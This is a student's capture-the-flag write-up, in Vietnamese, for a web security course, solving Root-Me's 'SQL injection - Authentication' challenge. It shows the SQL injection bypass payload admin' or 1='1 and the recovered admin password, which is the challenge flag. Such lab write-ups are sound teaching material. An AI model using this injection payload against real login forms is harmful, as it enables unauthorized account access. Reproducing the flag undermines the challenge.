

Lê Hoàng Phúc

MSSV: 20521763

Lớp: Bảo mật web và ứng dụng - NT213.N21.ANTN

Tên challenge : SQL injection - Authentication

Link challenge : <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication>

Thử đăng ký bằng username admin thì báo đã tồn tại :

Chèn payload admin' or 1='1 – thì thành công

Authentication v 0.01

Login

Password

Authentication v 0.01

Welcome back admin !

Your informations :

- username :

- password :

Hi master ! **To validate the challenge use this password**

Login

Password

connect

Xem source đê có password :

```
▼ <body> [scroll]
  <link id="s" rel="stylesheet" property="stylesheet" type="text/css" href="/template/s.css" media="all">
  ▶ <iframe id="iframe" src="https://www.root-me.org/?page=externe_header">[...]</iframe>
    <h1>Authentication v 0.01</h1>
    <h2>Welcome back admin !</h2>
    <h3>Your informations :</h3>
    ▼ <p>
      - username :
      <input type="text" value="admin" disabled="">
      <br>
      - password :
      <input type="password" value="t0_W34k!$" disabled="">
    </p>
    <br>
    Hi master !
    <b>To validate the challenge use this password</b>
  ▶ <form action="" method="post">[...]</form>
  </body>
</html>
```

The screenshot shows a browser window with multiple tabs open, including challenges from root-me.org and various Kali Linux tools. The main content is the 'SQL injection - Authentication' challenge page on Root-Me.org.

Challenge Details:

- Title:** SQL injection - Authentication
- Points:** 30 Points
- Category:** Authentication v 0.01
- Author:** g0n7, 27 February 2011
- Level:** Beginner
- Validations:** 3754 Challengers
- Note:** ★★★★☆ 1669 Votes

Statement: Retrieve the administrator password

Offers:

- APP Cybersecurity analyst
- DI Cybersecurity consultant
- AUT R&D engineer

Chatbox:

- donadtp (10 April 2023 at 21:09) prdimm ok coolking
- 9aylas (10 April 2023 at 07:34) weee slaa
- Atr3u5 (30 March 2023 at 06:18) hello guys, Do you have some suggestions of easy machines to root in CTF all day? I just solved the metasploitable 1 and 2.

Related resources:

- Injection SQL (Web)
- Blackhat Europe 2009 - Advanced SQL injection whitepaper (Exploitation - Web)
- Guide to PHP security : chapter 3 SQL injection (Exploitation - Web)
- Blackhat US 2006 : SQL Injections by truncation (Exploitation - Web)
- Manipulating SQL server using SQL injection (Exploitation - Web)

Validation:

- Well done, you won 30 Points
- Don't forget to give your opinion on the challenge by voting :)

[tweet it!](#)

Flag t0_W34k!\$

Time : 5p